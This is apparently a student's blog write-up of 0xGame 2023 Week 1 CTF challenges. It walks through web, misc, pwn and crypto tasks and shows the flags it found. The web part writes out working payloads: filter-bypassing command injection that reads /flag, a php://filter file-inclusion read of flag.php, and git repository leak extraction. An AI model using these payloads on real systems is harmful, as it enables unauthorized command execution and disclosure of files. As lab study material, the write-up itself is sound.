Writeup_2023_0xGame_Week1

菜鸟的Write_up,只接触过web

web部分

[Week 1] ping

根据题目想到可能是RCE:

ping1

看下源码发现提示:<!-- visit '/api.php?source' for hint -->,访问:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
 <?php

function sanitize($s) {
$s = str_replace(';', '', $s); //;过滤可以用其它分隔符绕过,比如&&啥的
$s = str_replace(' ', '', $s); //空格过滤可以用${IFS}啥的绕过
$s = str_replace('/', '', $s); // /过滤可以用反引号和printf配合绕过:`printf${IFS}"\57"`
$s = str_replace('flag', '', $s); //flag被过滤可以用通配符*绕过:fl*
return $s;
}

if (isset($_GET['source'])) {
highlight_file(__FILE__);
die();
}

if (!isset($_POST['ip'])) {//POST传IP
die('No IP Address');
}

$ip = $_POST['ip'];

$ip = sanitize($ip); //对传过去的ip进行过滤

if (!preg_match('/((\d{1,2}|1\d\d|2[0-4]\d|25[0-5])\.){3}(\d{1,2}|1\d\d|2[0-4]\d|25[0-5])/', $ip)) {
die('Invalid IP Address');
}//正则匹配IPv4地址的格式,可以用换行符%0a绕过

system('ping -c 4 '.$ip. ' 2>&1'); //命令执行

?>

先利用ls看看当前目录下都有啥东西:

ip=127.0.0.1%0als

1
2
3
api.php
index.html
simple.css

去根目录看看:

1
2
3
4
5
6
ip=127.0.0.1%0als${IFS}`printf${IFS}"\57"`
bin
boot
dev
etc
flag

cat读/flag的内容:

1
ip=127.0.0.1%0acat${IFS}`printf${IFS}"\57"`fl*

flag:0xGame{19c71976-d7d8-4ab8-9ea5-6ea3800f59f6}

[Week 1] baby_php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
 <?php
// flag in flag.php
highlight_file(__FILE__);

if (isset($_GET['a']) && isset($_GET['b']) && isset($_POST['c']) && isset($_COOKIE['name'])) {
$a = $_GET['a'];
$b = $_GET['b'];
$c = $_POST['c'];
$name = $_COOKIE['name'];//GET传a和b,POST传c,COOKIE超全局变量中name对应$name

if ($a != $b && md5($a) == md5($b)) { //md5加密数组会返回null,null==null成立
if (!is_numeric($c) && $c != 1024 && intval($c) == 1024) {
include($name.'.php'); //c不能是个数字,可以在任意数字后加个字母达到目的
} //c不能等于1024,结合后面的intval函数想到利用小数绕过,intval一个小数并不会遵循四舍五入原则
} //提示flag在flag.php中,文件包含漏洞。因为后面会加.php所以直接传flag看看情况
}
?>

综上:

GET?a[]=1&b[]=2POSTc=1024.9a并且Cookie: name=flag

没反应,试了试目录穿越也没结果。想到用伪协议读flag.php:

Cookie: name=php://filter/convert.base64-encode/resource=flag

得到一串base64:

PD9waHAKCiRmbGFnID0gJzB4R2FtZXs0M2JiM2UyNC0wODI0LTQ4Y2ItOTVkMC1jNDcxNTQwYzA5NTN9JzsKCj8

解个码:

1
2
3
4
5
6
<?php

$flag = '0xGame{43bb3e24-0824-48cb-95d0-c471540c0953}';

?>

flag = 0xGame{43bb3e24-0824-48cb-95d0-c471540c0953}

[Week 1] hello_http

第一关提示用Get方式传query,而且值必须是ctf

?query=ctf

第二关提示用POST传action,而且值必须是getflag

action=getflag

第三关提示 you are not admin,想到这东西可能在cookie放着,burpsuite抓包:发现Cookie: role=guest,改成Cookie: role=admin

第四关提示Error: Only allow local IP,还是抓包加个XFF头:

X-Forwarded-For:127.0.0.1

第五关提示Error: You are not using HarmonyOS Browser 😡,还是抓包改User-Agent:

User-Agent:HarmonyOS Browser

第六关提示必须来自ys.mihoyo.com,抓包改Referer:

Referer: ys.mihoyo.com

得到Flag:0xGame{2c1a10fb-921e-4250-820f-5ce36940b8b5}

[Week 1] repo_leak

进环境后发现是个博客主页,里面有个Notice博文写了这么个东西:

There is noting here. Using Git for version control

结合题目想到可能是敏感信息泄露,而且访问/.git并没有弹404

用dirsearch扫了一下,发现大量.git文件,猜测git泄露:

repo1

GitHack弄它:

python2 GitHack.py http://120.27.148.152:50013/.git

repo2

在存储扫描结果的文件夹利用git log查看每个commit都干了啥:

rerpo3

看到了三个版本,发现有个 add post : flag

对比下版本拿flag:

1
git diff ea44cb8ff3c27bb1db6d3acc4c875144d295045d 8a5b670558921bd232d75b29542492f00698298b

repo4

0xGame{3fc49725-23b5-4f28-8c64-16a3459b67b7}

[Week 1] signin

明明是签到却是最后一个解出来的:(运气好被我乱点点出来了

ok1

flag:0xGame{c788fa80-2184-429f-b410-48cb8e2de0ff}

MISC部分

[Week 1] shark shark

第一次做杂项的题 :) 下载附件后用wireshark打开,发现好像是个登录过程?登录后执行了一些命令 :

shark

直接搜0xGameflag都没结果。。但在返回包里有这么个东西?

shark2

把data拿出来拿去问了CHATGPT:)说这是一个ZIP文件的十六进制表示,要把它解码成二进制数据再解压。发现有个flag.txt文件,但需要密码:

shark3

想到刚才追踪流的时候有个very_safe_password,尝试了一下得到了flag:0xGame{7a504dab-ada6-4c41-adb3-0d1530098cd4}

[Week 1] hide and seek

根据题目提示和师傅在群里的提示,下载了stegseek这个工具,弄一下就得到flag了:

hiideandseek

[Week 1] least and most

题目提示是隐写,网上下了个叫stegsolve的工具,一通乱点得到了:

0xGame{l sb_combined_wi th_msb}

[Week 1] signin

R0I0RU9ZTE5NVjVWT1pMTU1NWUcyWks3S1JYVjZNRFlJNVFXMlpKU0dBWkRHSUpCUFU9PT09PT0=

看着像base64,先解码看看啥情况:

GB4EOYLNMV5VOZLMMMYG2ZK7KRXV6MDYI5QW2ZJSGAZDGIJBPU======

再用base32解一下:

0xGame{Welc0me_To_0xGame2023!!}

[Week 1] 重生之我在教学楼打cs

下载发现是个bsp文件,根据师傅的提示发现这东西是个cs1.6的地图文件,重命名一下放到cstrike下的maps文件夹里,然后cs1.6直接进地图。在鼎右下角找到了一串小字:

0xGame{CS_very_good}

PWN

[Week 1] 找不到且不对劲的flag

nc 8.130.35.16 51000ls,发现有个flagcat读了发现是假的:

secret

ls -al发现有个.secret文件,cat读了下得到了flag

pwn1

Crypto部分

[Week 1] Vigenere

题目描述:密文:0dGmqk{79ap4i0522g0a67m6i196he52357q60f} 古老而神秘的加密方式?

flag格式0xGame{xxxx},现在开头是0dGmqk,猜测密钥前四位是game?,先在线解密看下结果:

vig

得到flag。


Writeup_2023_0xGame_Week1
http://example.com/2023/09/18/ko1/
作者
notbad3
发布于
2023年9月18日
许可协议